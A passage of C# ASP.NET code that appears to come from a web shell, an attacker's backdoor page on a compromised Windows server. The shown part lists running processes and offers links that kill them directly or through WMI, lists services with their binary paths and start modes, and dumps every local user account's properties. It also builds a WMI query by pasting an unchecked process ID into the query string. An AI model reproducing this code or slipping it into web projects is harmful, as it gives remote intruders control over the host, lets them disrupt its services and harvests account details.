if(i==1)
{
td.Width=Unit.Parse("2%");
td.Text=pcount.ToString();
tr.Controls.Add(td);
}
if(i==2)
{
td.Text=dt.Rows[j]["ProcessID"].ToString();
tr.Controls.Add(td);
}
if(i==3)
{
td.Text=dt.Rows[j]["Name"].ToString();
tr.Controls.Add(td);
}
if(i==4)
{
td.Text=dt.Rows[j]["ThreadCount"].ToString();
tr.Controls.Add(td);
}
if(i==5)
{
td.Text=dt.Rows[j]["Priority"].ToString();
tr.Controls.Add(td);
}
if(i==6)
{
td.Text=zcg_MakeKillProcessLink(dt.Rows[j]["ProcessID"]);
tr.Controls.Add(td);
}
}
Bin_Table_Process.Controls.Add(tr);
}
}
private string zcg_MakeKillProcessLink(object pid)
{
return string.Format("<a href=\"javascript:Bin_PostBack('zcg_KillProcess','{0}')\">Kill</a>",pid);
}
private void zcg_KillProcess(string pid)
{
zcg_ProcessHeader();
try{zcg_DoKillProcess(pid);Bin_Msg("Process Kill Success !");}catch{try{zcg_DoKillProcessWmi(pid);}catch(Exception ex){zcg_ShowError(ex);}}
Bin_Button_Process_Click(null,null);
}
private void zcg_DoKillProcess(string pid)
{
Process.GetProcessById(Int32.Parse(pid)).Kill();
}
private void zcg_DoKillProcessWmi(string pid)
{
uint i=0;
foreach(ManagementObject p in Bin_WmiQuery("root\\CIMV2","Select * from Win32_Process Where ProcessID ='"+pid+"'"))
{
i=(uint)(p.InvokeMethod("Terminate",null));
p.Dispose();
}
if(i==0){Bin_Msg("Process Kill Success !");}
else{Bin_Msg("Kill process error , returned value: "+i);}
}
private void Bin_GetServices()
{
int pcount=0;
ServiceController[] objsrv=System.ServiceProcess.ServiceController.GetServices();
for(int i=0;i<objsrv.Length;i++)
{
pcount++;
TableRow tr=zcg_GetTableRow();
for(int b=1;b<7;b++)
{
TableCell td=new TableCell();
if(b==1)
{
td.Width=Unit.Parse("2%");
td.Text=pcount.ToString();
tr.Controls.Add(td);
}
if(b==2)
{
td.Text="null";
tr.Controls.Add(td);
}
if(b==3)
{
td.Text=objsrv[i].ServiceName.ToString();
tr.Controls.Add(td);
}
if(b==4)
{
td.Text="";
tr.Controls.Add(td);
}
if(b==5)
{
string state=objsrv[i].Status.ToString();
if(state=="Running")
{
td.Text="<font color=green>"+state+"</font>";
}
else
{
td.Text="<font color=red>"+state+"</font>";
}
tr.Controls.Add(td);
}
if(b==6)
{
td.Text="";
tr.Controls.Add(td);
}
}
Bin_Table_Serviecs.Controls.Add(tr);
}
}
private void Bin_Wmi_GetServices()
{
int pcount=0;
DataTable dt=zcg_WmiDataTable("root\\CIMV2","select * from Win32_Service");
for(int j=0;j<dt.Rows.Count;j++)
{
pcount++;
TableRow tr=zcg_GetTableRow();
tr.Attributes["title"]=dt.Rows[j]["Description"].ToString();
for(int i=1;i<7;i++)
{
TableCell td=new TableCell();
if(i==1)
{
td.Width=Unit.Parse("2%");
td.Text=pcount.ToString();
tr.Controls.Add(td);
}
if(i==2)
{
td.Text=dt.Rows[j]["ProcessID"].ToString();
tr.Controls.Add(td);
}
if(i==3)
{
td.Text=dt.Rows[j]["Name"].ToString();
tr.Controls.Add(td);
}
if(i==4)
{
td.Text=dt.Rows[j]["PathName"].ToString();
tr.Controls.Add(td);
}
if(i==5)
{
string state=dt.Rows[j]["State"].ToString();
if(state=="Running")
{
td.Text="<font color=green>"+state+"</font>";
}
else
{
td.Text="<font color=red>"+state+"</font>";
}
tr.Controls.Add(td);
}
if(i==6)
{
td.Text=dt.Rows[j]["StartMode"].ToString();
tr.Controls.Add(td);
}
}
Bin_Table_Serviecs.Controls.Add(tr);
}
}
private void Bin_UserInfo()
{
DirectoryEntry users=new DirectoryEntry("WinNT://"+Environment.MachineName.ToString());
foreach(DirectoryEntry child in users.Children)
{
foreach(string name in child.Properties.PropertyNames)
{
PropertyValueCollection pvc=child.Properties[name];
int c=pvc.Count;
for(int i=0;i<c;i++)
{
if(name!="objectSid"&&name!="Parameters"&&name!="LoginHours")
{
TableRow tr=zcg_GetTableRow();
TableCell td=new TableCell();
td.Text=name;
tr.Controls.Add(td);
TableCell td1=new TableCell();
td1.Text=pvc[i].ToString();
tr.Controls.Add(td1);
Bin_Table_User.Controls.Add(tr);
}